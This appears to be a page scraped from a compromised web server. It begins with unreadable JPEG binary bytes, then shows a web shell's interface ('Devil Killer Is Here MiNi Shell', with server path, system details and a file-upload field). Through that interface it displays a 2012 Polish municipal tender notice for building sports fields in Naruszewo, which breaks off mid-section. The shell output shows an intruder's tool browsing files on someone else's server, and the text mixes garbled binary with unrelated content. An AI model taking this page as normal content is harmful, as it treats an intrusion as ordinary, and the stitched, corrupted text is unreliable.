JFIF ( %!1!%)+...383-7(-.+  -% &5/------------------------------------------------";!1AQ"aq2#3BRrb*!1"AQa2q#B ?yRd&vGlJwZvK)YrxB#j]ZAT^dpt{[wkWSԋ*QayBbm*&0<|0pfŷM`̬ ^.qR𽬷^EYTFíw<-.j)M-/s yqT'&FKz-([lև<G$wm2*e Z(Y-FVen櫧lҠDwүH4FX1 VsIOqSBۡNzJKzJξcX%vZcFSuMٖ%B ִ##\[%yYꉅ !VĂ1َRI-NsZJLTAPמQ:y״g_g= m֯Ye+Hyje!EcݸࢮSo{׬*h g<@KI$W+W'_> lUs1,o*ʺE.U"N&CTu7_0VyH,q ,)H㲣5<t ;rhnz%ݓz+4 i۸)P6+F>0Tв`&i}Shn?ik܀՟ȧ@mUSLFηh_er i_qt]MYhq 9LaJpPןߘvꀡ\"z[VƬ¤*aZMo=WkpSp \QhMb˒YH=ܒ m`CJt 8oFp]>pP1F>n8(*aڈ.Y݉[iTع JM!x]ԶaJSWҼܩ`yQ`*kE#nNkZKwA_7~ ΁JЍ;-2qRxYk=Uր>Z qThv@.w c{#&@#l;D$kGGvz/7[P+i3nIl`nrbmQi%}rAVPT*SF`{'6RX46PԮp(3W҅U\a*77lq^rT$vs2MU %*ŧ+\uQXVH !4t*Hg"Z챮 JX+RVU+ތ]PiJT XI= iPO=Ia3[ uؙ&2Z@.*SZ (")s8Y/-Fh Oc=@HRlPYp!wr?-dugNLpB1yWHyoP\ѕрiHִ,ِ0aUL.Yy`LSۜ,HZz!JQiVMb{( tژ <)^Qi_`: }8ٱ9_.)a[kSr> ;wWU#M^#ivT܎liH1Qm`cU+!2ɒIX%ֳNړ;ZI$?b$(9f2ZKe㼭qU8I[ U)9!mh1^N0 f_;׆2HFF'4b! yBGH_jтp'?uibQ T#ѬSX5gޒSF64ScjwU`xI]sAM( 5ATH_+s 0^IB++h@_Yjsp0{U@G -:*} TނMH*֔2Q:o@ w5(߰ua+a ~w[3W(дPYrF1E)3XTmIFqT~z*Is*清Wɴa0Qj%{T.ޅ״cz6u6݁h;֦ 8d97ݴ+ޕxзsȁ&LIJT)R0}f }PJdp`_p)əg(ŕtZ 'ϸqU74iZ{=Mhd$L|*UUn &ͶpHYJۋj /@9X?NlܾHYxnuXږAƞ8j ໲݀pQ4;*3iMlZ6w ȵP Shr!ݔDT7/ҡϲigD>jKAX3jv+ ߧز #_=zTm¦>}Tց<|ag{E*ֳ%5zW.Hh~a%j"e4i=vױi8RzM75i֟fEu64\էeo00d H韧rȪz2eulH$tQ>eO$@B /?=#٤ǕPS/·.iP28s4vOuz3zT& >Z2[0+[#Fޑ]!((!>s`rje('|,),y@\pЖE??u˹yWV%8mJ iw:u=-2dTSuGL+m<*צ1as&5su\phƃ qYLֳ>Y(PKi;Uڕp ..!i,54$IUEGLXrUE6m UJC?%4AT]I]F>׹P9+ee"Aid!Wk|tDv/ODc/,o]i"HIHQ_n spv"b}}&I:pȟU-_)Ux$l:fژɕ(I,oxin8*G>ÌKG}Rڀ8Frajٷh !*za]lx%EVRGYZoWѮ昀BXr{[d,t Eq ]lj+ N})0B,e iqT{z+O B2eB89Cڃ9YkZySi@/(W)d^Ufji0cH!hm-wB7C۔֛X$Zo)EF3VZqm)!wUxM49< 3Y .qDfzm |&T"} {*ih&266U9* <_# 7Meiu^h--ZtLSb)DVZH*#5UiVP+aSRIª!p挤c5g#zt@ypH={ {#0d N)qWT kA<Ÿ)/RT8D14y b2^OW,&Bcc[iViVdִCJ'hRh( 1K4#V`pِTw<1{)XPr9Rc 4)Srgto\Yτ~ xd"jO:A!7􋈒+E0%{M'T^`r=E*L7Q]A{]A<5ˋ.}<9_K (QL9FЍsĮC9!rpi T0q!H \@ܩB>F6 4ۺ6΋04ϲ^#>/@tyB]*ĸp6&<џDP9ᗟatM'> b쪗wI!܁V^tN!6=FD܆9*? q6h8  {%WoHoN.l^}"1+uJ ;r& / IɓKH*ǹP-J3+9 25w5IdcWg0n}U@2 #0iv腳z/^ƃOR}IvV2j(tB1){S"B\ ih.IXbƶ:GnI F.^a?>~!k''T[ע93fHlNDH;;sg-@, JOs~Ss^H '"#t=^@'W~Ap'oTڭ{Fن̴1#'c>꜡?F颅B L,2~ת-s2`aHQm:F^j&~*Nūv+{sk$F~ؒ'#kNsٗ D9PqhhkctԷFIo4M=SgIu`F=#}Zi'cu!}+CZI7NuŤIe1XT xC۷hcc7 l?ziY䠩7:E>k0Vxypm?kKNGCΒœap{=i1<6=IOV#WY=SXCޢfxl4[Qe1 hX+^I< tzǟ;jA%n=q@j'JT|na$~BU9؂dzu)m%glwnXL`޹W`AH̸뢙gEu[,'%1pf?tJ Ζmc[\ZyJvn$Hl'<+5[b]v efsЁ ^. &2 yO/8+$ x+zs˧Cޘ'^e fA+ڭsOnĜz,FU%HU&h fGRN擥{N$k}92k`Gn8<ʮsdH01>b{ {+ [k_F@KpkqV~sdy%ϦwK`D!N}N#)x9nw@7y4*\ Η$sR\xts30`O<0m~%U˓5_m ôªs::kB֫.tpv쌷\R)3Vq>ٝj'r-(du @9s5`;iaqoErY${i .Z(Џs^!yCϾ˓JoKbQU{௫e.-r|XWլYkZe0AGluIɦvd7 q -jEfۭt4q +]td_+%A"zM2xlqnVdfU^QaDI?+Vi\ϙLG9r>Y {eHUqp )=sYkt,s1!r,l鄛u#I$-֐2A=A\J]&gXƛ<ns_Q(8˗#)4qY~$'3"'UYcIv s.KO!{, ($LI rDuL_߰ Ci't{2L;\ߵ7@HK.Z)4
Devil Killer Is Here MiNi Shell

MiNi SheLL

Current Path : /home/vmanager/www/common/web/tenders/20120911/

Linux 9dbcd5f6333d 5.15.0-124-generic #134-Ubuntu SMP Fri Sep 27 20:20:17 UTC 2024 x86_64
Upload File :
Current File : /home/vmanager/www/common/web/tenders/20120911/195505-N-2012.html

<p class="kh_header"><b>Naruszewo: Budowa kompleksu boisk sportowych w Naruszewie</b><br>
<b>Numer ogłoszenia: 195505 - 2012; data zamieszczenia: 11.09.2012</b><br>
OGŁOSZENIE O ZAMÓWIENIU - roboty budowlane<br><br></p>

<p><b>Zamieszczanie ogłoszenia:</b> obowiązkowe.</p>
<p><b>Ogłoszenie dotyczy:</b> zamówienia publicznego.</p>

<p class="kh_title">SEKCJA I: ZAMAWIAJĄCY</p>

<p><b>I. 1) NAZWA I ADRES:</b> Gmina Naruszewo , Naruszewo 19A, 09-152 Naruszewo, woj. mazowieckie, tel. 23 663 10 51, faks 23 663 10 51 wew. 34.</p>
<ul class="kh_indent_1">
<li><b>Adres strony internetowej zamawiającego:</b> www.ugnaruszewo.bip.org.pl</li><li><b>Adres strony internetowej, pod którym dostępne są informacje dotyczące dynamicznego systemu zakupów:</b> nie dotyczy</li></ul>
<p><b>I. 2) RODZAJ ZAMAWIAJĄCEGO:</b> Administracja samorządowa.</p>

<p class="kh_title">SEKCJA II: PRZEDMIOT ZAMÓWIENIA</p>

<p><b>II.1) OKREŚLENIE PRZEDMIOTU ZAMÓWIENIA</b></p>
<p><b>II.1.1) Nazwa nadana zamówieniu przez zamawiającego:</b> Budowa kompleksu boisk sportowych w Naruszewie.</p>
<p><b>II.1.2) Rodzaj zamówienia:</b> roboty budowlane.</p>
<p><b>II.1.3) Określenie przedmiotu oraz wielkości lub zakresu zamówienia:</b> 1. Lokalizacja. Przedmiotowe boiska zlokalizowane będą na działce oznaczonej numerem ewidencyjnym 129, położonej w obrębie Naruszewo, jednostka ewidencyjna Naruszewo. Teren stanowi własność Gminy Naruszewo i pozostaje w użytkowaniu Zespołu Szkół w Naruszewie. Teren, na którym zaprojektowane są obiekty sportowe jest: a) lekko nachylony ze spadkiem w kierunku południowym, b)	ograniczony od strony północnej drogą lokalną o nawierzchni asfaltowej; od strony południowej budynkami szkolnymi i gminnymi; od strony wschodniej budynkami zabudowy jednorodzinnej za ogrodzeniem z siatki i z płyt prefabrykowanych betonowych; od strony zachodniej znajdują się budynki szkolne (od tej strony działka ma dojazd i dojście piesze); c) działka jest ogrodzona siatką na słupkach stalowych. 2. Przedmiot i zakres inwestycji. Przedmiot zamówienia obejmuje budowę zespołu boisk sportowych i urządzeń lekkoatletycznych: 1) Boisko do piłki nożnej: a) powierzchnia 1 860, 0 m2, pole gry o wymiarach 56 m x 26 m, strefa ochronna ze wszystkich stron - wzdłuż boków 2 m, za bramkami 3 m, b)	przepuszczalna podbudowa z kruszyw, 
c) nawierzchnia z trawy syntetycznej (trawa tkana układana na podkładzie elastycznym o wys. min. 40 mm spełniająca wymagania FIFA Quality Concept for Football Turf; wypełnienie: SBR - jego rodzaj oraz grubość zgodnie z wynikami Raportu z Badań), d) wyposażenie: dwie bramki stalowe osadzone w tulejach (5 m x 2 m), siatki do bramek z łapaczami (2 szt.). 2) Boisko wielofunkcyjne (boisko do siatkówki i koszykówki): a) powierzchnia 613, 11 m2, b) wymiary boiska 15, 10 m x 28, 10 m z wybiegami po 2 m z każdej strony, c) przepuszczalna podbudowa z kruszyw, d)	nawierzchnia poliuretanowa syntetyczna z technologią wykonania typu NATRYSK (warstwa stabilizująca typu ET ok. 35 mm, warstwa granulatu gumowego 10 - 11 mm, natrysk 2 - 3 mm), e)	boisko do siatkówki - jest prostokątem o wymiarach 18 m x 9 m otoczonym strefą wolną; oś linii środkowej, znajdująca się pod siatką pomiędzy liniami bocznymi, dzieli boisko na dwa równe pola o wymiarach 9 m x 9 m każde, - wyposażenie: słupki do siatkówki profesjonalne wielofunkcyjne, siatka turniejowa z anteną, osłony do słupków, stanowisko sędziowskie, tuleje do mocowania słupków w podłożu (para) (1 kpl). f)	boisko do koszykówki - wymiary 28  m x 15 m. - wyposażenie:  zestaw do koszykówki na zewnątrz cynkowany, dwusłupowy (fundament 80 cm x 80 cm x 80 cm), wysięg 1, 60 m; tablica epoksydowa 105 x 180 cm, obręcz cynkowana z siateczką łańcuchową; mechanizm regulacji wysokości (1 kpl). 3)	Bieżnia czterotorowa prosta: a) powierzchnia 567, 00 m2, b) bieżnia prosta do rozgrywania biegów na 100 m wraz z niezbędnymi dodatkami na bloki startowe i na wyhamowanie, c) szerokość każdego toru 122 cm, d)	nawierzchnia poliuretanowa typu natrysk. 4) Skocznia do skoku w dal z rozbiegiem o nawierzchni poliuretanowej: a) powierzchnia 3, 84 m2, b) skocznia składa się z rozbieżni o długości ok. 30 m (rozbieg jest wspólny z rozbiegiem do skoku wzwyż), miejsca odbicia (progu) i zeskoczni (dół z piaskiem obramowany krawężnikami elastycznymi; wokół zeskoczni zaprojektowano łapacze piasku o szerokości 50 cm; grubość warstwy piasku w zeskoczni min. 30 cm), nawierzchnia rozbiegu poliuretanowa, taka jak na bieżni; w miejscach pomiędzy belkami odbicia i zeskocznią nawierzchnia pogrubiona do 20 mm; w celu wydzielenia rozbiegu do skoku w dal należy namalować jego linie boczne, c) wyposażenie: kompletne belki do odbicia (belka, skrzynia i pokrywa do skrzyni), łapacze piasku 100 cm x 50 cm x 14 cm. 5) Skocznia do skoku wzwyż z rozbiegiem: a) powierzchnia 377, 14 m2, b)	promień rozbiegu 15 m, nawierzchnia poliuretanowa, na ostatnich 3 m rozbiegu łącznie z miejscem odbicia, nawierzchnia powinna być pogrubiona do 20 mm, zeskok ma wymiary 6 m x 4 m, c)	wyposażenie: stojak do skoku wzwyż, poprzeczka z włókna szklanego, zeskok do skoku wzwyż 300 cm x 200 cm x 70 cm. 6) Stanowisko do rzutu kulą z sektorem rzutów o nawierzchni z mączki ceglanej: a) powierzchnia 120, 00 m2. 7) Trybuny na 270 miejsc: a) powierzchnia 283, 00 m2, b) sposób kotwienia siedziska min. 3 śruby, c) siedziska wandaloodoprne, d) przed wykonaniem trybuny należy przedstawić Zamawiającemu projekt konstrukcji trybun. 8) Piłkochwyty wys. 6 m: należy wykonać zgodnie z rysunkiem; sposób kotwienia kotary - linka na dole piłkochwytu; w kilku miejscach mocowany do podłoża. 9) Drenaż pod powierzchnią boisk z odprowadzeniem wody do istniejącej kanalizacji ogólnospławnej, odprowadzenie wód opadowych z terenów utwardzonych na powierzchnię biologicznie czynną. 10) Utwardzenie terenu z kostki brukowej: a) ciąg pieszo - jezdny pow. 178, 00 m2, b) ciągi piesze pow. 98, 25 m2. 11) Ogrodzenie boisk z siatki na słupkach stalowych o wys. 4 m (słupki malowane proszkowo, siatka stalowa, ocynkowana, powlekana). 12) Uzbrojenie terenu w energię elektryczną: a) 4 słupy oświetleniowe o wys. 12 m, b) 10 słupów oświetleniowych o wys. 10 m, c) łączna długość tras kablowych zasilania i oświetlenia 345 mb, d) zaopatrzenie w energię elektryczną - z istniejącej sieci energetycznej na warunkach określonych przez Zakład Energetyczny. 3. Przed przystąpieniem do wykonywania wykopów, należy sprawdzić zgodność rzędnych terenu z danymi podanymi w projekcie. W tym celu należy wykonać kontrolny pomiar sytuacyjno - wysokościowy. W trakcie realizacji wykopów konieczne jest kontrolowanie warunków gruntowych. W przypadku potwierdzenia słabego podłoża gruntowego, należy w porozumieniu i za zgodą Inspektora nadzoru inwestorskiego, Projektanta oraz Inwestora, zwiększyć grubość warstw konstrukcyjnych kruszywa. 4. Wykonawca w ramach przedmiotu zamówienia zobowiązany jest do zapewnienia obsługi geodezyjnej przez uprawnione służby geodezyjne, obejmującej wytyczenie oraz inwentaryzację powykonawczą. 5. Szczegółowy zakres prac, które należy wykonać określa projekt budowlany, specyfikacje techniczne wykonania i odbioru robót oraz przedmiary robót. 6. Wykonawcy zaleca się na własną odpowiedzialność, koszt i ryzyko odwiedzenie i sprawdzenie miejsca robót oraz jego otoczenia w celu oceny czynników koniecznych do przygotowania oferty i zawarcia umowy w sprawie zamówienia publicznego. Wizja na terenie robót nie będzie organizowana przez Zamawiającego. 7. Zamawiający posiada zgłoszenie właściwemu organowi zamiaru wykonania zespołu boisk sportowych i urządzeń lekkoatletycznych z dn. 23.11.2010 r. wraz z potwierdzeniem, że organ nie wniósł sprzeciwu wobec zgłoszonego zamiaru wykonania robót budowlanych z dn. 26.11.2010 r. (AB.7352/1229/10). Roboty budowlane w branży elektrycznej będzie można rozpocząć po uzyskaniu przez Zamawiającego ostatecznej decyzji zatwierdzającej projekt budowlano - wykonawczy instalacji zasilania i oświetlenia boisk. 8. Roboty będą wykonywane w obiekcie czynnym, na terenie przyszkolnym, dlatego Wykonawca zobowiązany jest zorganizować je w taki sposób, aby nie narażać uczniów oraz pracowników szkoły na niebezpieczeństwo i uciążliwości wynikające z prowadzonych robót. 9. W związku z tym, że Zamawiający wskazał w opisie przedmiotu zamówienia znaki towarowe i pochodzenia na niektóre materiały, dopuszcza się możliwość zaoferowania materiałów i urządzeń równoważnych w stosunku do określonych w dokumentacji projektowej, tzn. nie gorszych, niż wskazane w opisie przedmiotu zamówienia, przy czym nie mogą być one o parametrach gorszych, niż parametry materiałów i urządzeń wskazanych przez Zamawiającego w projekcie, przedmiarze, szczegółowych specyfikacjach technicznych. Wykonawca, który powołuje się na rozwiązania równoważne opisywanym przez Zamawiającego, jest obowiązany wykazać, że oferowane przez niego roboty budowlane spełniają wymagania określone przez Zamawiającego. W takiej sytuacji Zamawiający wymaga złożenia stosownych dokumentów potwierdzających parametry tych materiałów i urządzeń. 10. Użyte przez Zamawiającego w dokumentacji przetargowej nazwy materiałów nie są obowiązujące i należy przyjąć, iż stanowią wskazania/propozycje Zamawiającego. Wyroby budowlane, które będą używane do realizacji przedmiotu zamówienia muszą spełniać wymagania wynikające z przepisów prawa, w tym w szczególności ustawy z dnia 16 kwietnia 2004 roku o wyrobach budowlanych oraz ustawy z dnia 7 lipca 1994 roku Prawo budowlane. 11. Wykonanie przedmiotu zamówienia: 1) Przedmiot zamówienia, którym są roboty budowlane, należy wykonać zgodnie z wiedzą i sztuką budowlaną, przepisami w zakresie bezpieczeństwa i higieny pracy, przepisami przeciwpożarowymi, stosując się do poleceń Inspektora Nadzoru Inwestorskiego. 2) Wraz ze zgłoszeniem do odbioru końcowego Wykonawca przekaże Zamawiającemu następujące dokumenty: a) stanowiska: Państwowej Inspekcji Sanitarnej i Państwowej Straży Pożarnej w sprawie zgodności wykonania obiektu budowlanego z projektem budowlanym (Wykonawca zobowiązany jest zawiadomić ww. organy o zakończeniu budowy obiektu budowlanego i zamiarze przystąpienia do jego użytkowania), b) wypełniony dziennik budowy zawierający m.in. potwierdzenie przez uprawnionego geodetę dokonania inwentaryzacji, potwierdzenie przez Inspektora Nadzoru zakończenia robót, c) protokoły z przeprowadzonych prób i badań, d) oświadczenie Kierownika budowy o zgodności wykonania robót budowlanych z opisem przedmiotu zamówienia, zasadami współczesnej wiedzy technicznej oraz obwiązującymi normami i przepisami, e) oświadczenie Kierownika budowy o doprowadzeniu do należytego stanu i porządku terenu budowy, a także, w razie korzystania, również dróg oraz sąsiednich nieruchomości, f) dokumenty gwarancyjne wraz z warunkami gwarancji, g) dokumenty (atesty, certyfikaty, aprobaty techniczne, deklaracje zgodności) potwierdzające, że wbudowane wyroby budowlane są zgodne z ustawą Prawo budowlane (opisane i ostemplowane przez Kierownika budowy), h) gwarancje na zamontowane materiały, wyposażenie i urządzenia, i) inne dokumenty zgromadzone w trakcie wykonywania przedmiotu zamówienia, a odnoszące się do jego realizacji, zwłaszcza rysunki ze zmianami naniesionymi w trakcie realizacji zadania wraz z uzyskanymi decyzjami odpowiednich organów, j) inne niezbędne do rozpoczęcia czynności odbioru dokumenty, o ile są wymagane SIWZ, umową, dokumentacją projektową, k) operat kolaudacyjny, l) inwentaryzację powykonawczą (lub oświadczenie o złożeniu inwentaryzacji w POGiK). 3) W przypadku nie dostarczenia wszystkich dokumentów przez Wykonawcę, powiadomienie o zakończeniu robót będzie uznane za bezskuteczne do momentu uzupełnienia ostatniego z wymaganych dokumentów. Czas na wyznaczenie przez Zamawiającego odbioru końcowego będzie liczony od momentu uzupełnienia ostatniego z wymaganych dokumentów. 4) Wykonawca przed wbudowaniem materiałów zobowiązany jest do przedstawienia Inspektorowi Nadzoru dokumentów potwierdzających ich parametry w celu dokonania kontroli. 5)	Zamawiający nie przewiduje płatności za wykonane prace w 2012 r. 6) Wykonawca zobowiązany jest udzielić gwarancji jakości na zrealizowany przedmiot zamówienia: a) na wykonane roboty budowlane oraz zamontowane urządzenia i wyposażenie na okres co najmniej 36 miesięcy, b) na nawierzchnie syntetyczne oraz granulat użyty do wypełnienia nawierzchni ze sztucznej trawy na okres co najmniej 60 miesięcy od dnia odebrania przez Zamawiającego robót budowlanych i podpisania (bez uwag) protokołu końcowego (wzór karty gwarancyjnej Załącznik Nr 8 do SIWZ). 7) Wykonawca po podpisaniu umowy, w terminie 7 dni roboczych, zobowiązany będzie przedłożyć Zamawiającemu do akceptacji harmonogram rzeczowo - finansowy realizacji prac, który będzie stanowił załącznik do umowy: a) Harmonogram posłuży również do określenia, kiedy i w jakiej wysokości realizowane będą płatności za wykonanie przedmiotu umowy. b) Wykonawca zobowiązany będzie sporządzić harmonogram rzeczowo - finansowy zgodnie z założeniem, że wynagrodzenie rozliczone fakturą częściową nastąpi po zrealizowaniu 50% zakresu przedmiotu umowy.</p>
<p><b>II.1.4) Czy przewiduje się udzielenie zamówień uzupełniających:</b> tak.</p>
<ul class="kh_indent_1"><li><b>Określenie przedmiotu oraz wielkości lub zakresu zamówień uzupełniających</b></li><li>Zamawiający  przewiduje udzielenie zamówienia uzupełniającego, którego przedmiotem są roboty budowlane obejmujące: roboty demontażowe, wymianę istniejącego ogrodzenia na ogrodzenie z siatki stalowej ocynkowanej (wymiary: 395 mb); obecny cokół ogrodzenia pozostaje w stanie pierwotnym z ewentualnymi koniecznymi naprawami, wyczyszczenie i pomalowanie słupów, wymianę bram na bramy stalowe przesuwane (3 szt.), w tym jedna o napędzie elektrycznym; wymiary bram: 5 mb każda, wymianę 4 szt. furtek na stalowe, usunięcie jednej furtki; wymiary furtek: 2 szt. po 90 cm, 2 szt. po 110 cm. Roboty rozbiórkowe związane z rozebraniem bramy głównej i dostosowaniem pozostałych elementów do montażu bram przesuwanych, wymiary ogrodzenia po obwodzie: 414 mb, w tym: bramy: 15 mb, furtki: 4 mb.</li></ul>
<p><b>II.1.5) Wspólny Słownik Zamówień (CPV):</b> 45.21.22.20-4, 45.21.22.00-8, 45.11.12.00-0, 45.23.24.52-5, 45.31.00.00-3, 45.34.20.00-6, 37.41.00.00-5, 45.23.31.40-2.</p>
<p><b>II.1.6) Czy dopuszcza się złożenie oferty częściowej:</b> nie.</p>
<p><b>II.1.7) Czy dopuszcza się złożenie oferty wariantowej:</b> nie.</p><br>
<p><b>II.2) CZAS TRWANIA ZAMÓWIENIA LUB TERMIN WYKONANIA:</b> Zakończenie: 15.07.2013.</p>

<p class="kh_title">SEKCJA III: INFORMACJE O CHARAKTERZE PRAWNYM, EKONOMICZNYM, FINANSOWYM I TECHNICZNYM</p>

<p><b>III.1) WADIUM</b></p>
<p><b>Informacja na temat wadium:</b> 1. Wysokość wadium: Przed upływem terminu składania ofert wymagane jest wniesienie wadium w wysokości: 25 000, 00 złotych (słownie: dwadzieścia pięć tysięcy złotych zero groszy). 2. Forma wadium: 1) Wadium może być wnoszone w jednej lub kilku następujących formach: a) pieniądzu, b) poręczeniach bankowych lub poręczeniach spółdzielczej kasy oszczędnościowo-kredytowej, z tym, że poręczenie kasy jest zawsze poręczeniem pieniężnym, c) gwarancjach bankowych, d) gwarancjach ubezpieczeniowych, e) poręczeniach udzielanych przez podmioty, o których mowa w art. 6b ust. 5 pkt 2 ustawy z dnia 9 listopada 2000 roku o utworzeniu Polskiej Agencji Rozwoju Przedsiębiorczości (Dz. U. Nr 109, poz. 1158 z późn. zm.). 2) Wykonawca wnoszący wadium w formie, która ze względu na obowiązujące przepisy może zostać wystawiona jako terminowa (np. gwarancja ubezpieczeniowa), jest zobowiązany do niezwłocznego przedłużenia jej ważności w przypadku, gdy będą tego wymagały warunki prowadzonej procedury zamówienia. 3. Termin i miejsce wniesienia wadium 1) Wadium  należy wnieść przed upływem terminu składania ofert. Termin ten uważa się za zachowany, gdy wadium wniesione w pieniądzu, zgodnie z art. 45 ust. 7 ustawy Pzp zostanie wpłacone przelewem na rachunek bankowy Zamawiającego i znajdzie się na tym rachunku przed upływem terminu składania ofert. 2) Wadium wnoszone w pieniądzu wpłaca się przelewem na rachunek bankowy Zamawiającego prowadzony przez Mazowiecki Bank Spółdzielczy w Łomiankach Oddział w Naruszewie, nr rachunku 49 8009 1017 0040 1661 9004 0015. Na dowodzie wpłaty należy określić nazwę postępowania, na które wnoszone jest wadium. 3) Kserokopię dowodu wpłaty należy załączyć do oferty. Dowodem wniesienia wadium będzie potwierdzony przez bank odcinek polecenia dokonania przelewu lub wydruk przelewu elektronicznego. 4) Wadium wnoszone w formie innej niż pieniądz, należy załączyć do oferty w postaci oryginału dokumentu (w celu możliwości jego zwrotu lub zatrzymania) oraz w formie kserokopii dokumentu potwierdzonej za zgodność z oryginałem. 5) Gwarancje ubezpieczeniowe lub gwarancje bankowe oraz poręczenia złożone jako zabezpieczenie wadium muszą posiadać okres ważności nie krótszy niż okres związania ofertą oraz umożliwiać Zamawiającemu otrzymanie określonej kwoty wadium bez jakichkolwiek warunków wstępnych i na jego pierwsze wezwanie. 6) Nie wniesienie wadium w wymaganym terminie, wymaganej wysokości i formie, skutkuje wykluczeniem Wykonawcy z postępowania. 7) Zamawiający zwraca wadium wszystkim Wykonawcom niezwłocznie po wyborze oferty najkorzystniejszej lub unieważnieniu postępowania, z wyjątkiem Wykonawcy, którego oferta została wybrana jako najkorzystniejsza. 8) Wykonawcy, którego oferta została wybrana jako najkorzystniejsza, Zamawiający zwraca wadium niezwłocznie po zawarciu umowy w sprawie zamówienia publicznego oraz wniesieniu zabezpieczenia należytego wykonania umowy. 9) Zamawiający zwraca niezwłocznie wadium na wniosek Wykonawcy, który wycofał ofertę przed upływem terminu składania ofert. 10) Zamawiający żąda ponownego wniesienia wadium przez Wykonawcę, któremu zwrócono wadium, po wyborze oferty najkorzystniejszej lub unieważnieniu postępowania, jeżeli w wyniku ostatecznego rozstrzygnięcia odwołania jego oferta została wybrana jako najkorzystniejsza. Wykonawca wnosi wadium w terminie określonym przez Zamawiającego. 11) Zamawiający zatrzymuje wadium wraz z odsetkami w sytuacjach określonych w art. 46 ust. 4a i 5 ustawy Pzp, tj.: a) gdy w odpowiedzi na wezwanie, o którym mowa w art. 26 ust. 3 ustawy Wykonawca nie złożył dokumentów lub oświadczeń, o których mowa w art. 25 ust. 1, lub pełnomocnictw chyba że udowodni, że wynika to z przyczyn nieleżących po jego stronie, b) odmówił podpisania umowy w sprawie zamówienia publicznego na warunkach określonych w ofercie, c) nie wniósł wymaganego zabezpieczenia należytego wykonania umowy, d) zawarcie umowy w sprawie zamówienia publicznego stało się niemożliwe z przyczyn leżących po stronie Wykonawcy</p>
<p><b>III.2) ZALICZKI</b></p>
<ul class="kh_indent_1"><li><b>Czy przewiduje się udzielenie zaliczek na poczet wykonania zamówienia:</b> nie</li></ul>
<p><b>III.3) WARUNKI UDZIAŁU W POSTĘPOWANIU ORAZ OPIS SPOSOBU DOKONYWANIA OCENY SPEŁNIANIA TYCH WARUNKÓW</b></p>
<ul class="kh_indent_1">
<li><p><b>III. 3.1) Uprawnienia do wykonywania określonej działalności lub czynności, jeżeli przepisy prawa nakładają obowiązek ich posiadania</b></p>
<p><b>Opis sposobu dokonywania oceny spełniania tego warunku</b></p>
<ul class="kh_indent_1"><li><p>Na podstawie przedłożonego oświadczenia o spełnianiu warunków udziału w postępowaniu, o których mowa w art. 22 ust. 1 ustawy Pzp (Załącznik Nr 2 do SIWZ). 

Ocena spełniania warunku przez Wykonawców zostanie dokonana metodą spełnia - nie spełnia na podstawie badania złożonego oświadczenia, tj. złożone prawidłowo oświadczenie żądane przez Zamawiającego - spełnia warunek, nie złożone z zastrzeżeniem art. 26 ust. 3 ustawy Pzp - nie spełnia warunku.</p>
</li></ul></li><li><p><b>III.3.2) Wiedza i doświadczenie</b></p>
<p><b>Opis sposobu dokonywania oceny spełniania tego warunku</b></p>
<ul class="kh_indent_1"><li><p>Wykonawca zobowiązany jest wykazać, że w okresie ostatnich pięciu lat przed upływem terminu składania ofert, a jeżeli okres prowadzenia działalności jest krótszy - w tym okresie, wykonał zgodnie z zasadami sztuki budowlanej i prawidłowo ukończył, co najmniej 1 robotę budowlaną, której przedmiotem była budowa lub przebudowa wielofunkcyjnego boiska lub stadionu sportowego ze sztuczną nawierzchnią o wartości nie mniejszej niż 800 000, 00 zł brutto (słownie: osiemset tysięcy złotych zero gorszy) (Załącznik Nr 4 do SIWZ). W celu udokumentowania spełnienia warunku Wykonawca zobowiązany jest złożyć dokument potwierdzający, że robota została wykonana zgodnie z zasadami sztuki budowlanej i prawidłowo ukończona (w szczególności mogą to być: referencje, opinie, listy polecające, protokoły odbioru końcowego). 

Ocena spełniania warunku przez Wykonawców zostanie dokonana metodą spełnia - nie spełnia na podstawie badania złożonych dokumentów, tj. złożone prawidłowo dokumenty żądane przez Zamawiającego - spełniają warunek, nie złożone z zastrzeżeniem art. 26 ust. 3 ustawy Pzp - nie spełniają warunku.</p>
</li></ul></li><li><p><b>III.3.4) Osoby zdolne do wykonania zamówienia</b></p>
<p><b>Opis sposobu dokonywania oceny spełniania tego warunku</b></p>
<ul class="kh_indent_1"><li><p>Wykonawca zobowiązany jest wykazać, że dysponuje osobami posiadającymi uprawnienia do kierowania robotami budowlanymi, których obowiązek posiadania nakłada ustawa Prawo budowlane w specjalnościach:
a)	konstrukcyjno - budowlanej (1 osoba),
b)	instalacyjnej w zakresie sieci, instalacji i urządzeń elektrycznych i elektroenergetycznych 
(1 osoba) (Załącznik Nr 5 do SIWZ).

Ocena spełniania warunku przez Wykonawców zostanie dokonana metodą spełnia - nie spełnia na podstawie badania złożonych dokumentów, tj. złożone prawidłowo dokumenty żądane przez Zamawiającego - spełniają warunek, nie złożone z zastrzeżeniem art. 26 ust. 3 ustawy Pzp - nie spełniają warunku.</p>
</li></ul></li><li><p><b>III.3.5) Sytuacja ekonomiczna i finansowa</b></p>
<p><b>Opis sposobu dokonywania oceny spełniania tego warunku</b></p>
<ul class="kh_indent_1"><li><p>Wykonawca zobowiązany jest wykazać, że jest ubezpieczony od odpowiedzialności cywilnej w zakresie prowadzonej działalności związanej z przedmiotem zamówienia na sumę ubezpieczenia nie mniejszą niż 800 000, 00 zł (słownie: osiemset tysięcy złotych zero gorszy).

Ocena spełniania warunku przez Wykonawców zostanie dokonana metodą spełnia - nie spełnia na podstawie badania złożonego dokumentu, tj. złożony prawidłowo dokument żądany przez Zamawiającego - spełnia warunek, nie złożony z zastrzeżeniem art. 26 ust. 3 ustawy Pzp - nie spełnia warunku.</p>
</li></ul></li></ul>
<p><b>III.4) INFORMACJA O OŚWIADCZENIACH LUB DOKUMENTACH, JAKIE MAJĄ DOSTARCZYĆ WYKONAWCY W CELU POTWIERDZENIA SPEŁNIANIA WARUNKÓW UDZIAŁU W POSTĘPOWANIU ORAZ NIEPODLEGANIA WYKLUCZENIU NA PODSTAWIE ART. 24 UST. 1 USTAWY</b></p>
<ul class="kh_indent_1"><li>
<p><b>III.4.1) W zakresie wykazania spełniania przez wykonawcę warunków, o których mowa w art. 22 ust. 1 ustawy, oprócz oświadczenia o spełnieniu warunków udziału w postępowaniu, należy przedłożyć:</b></p>
<ul style="text-align: justify; margin-right: 20px; list-style: disc;">
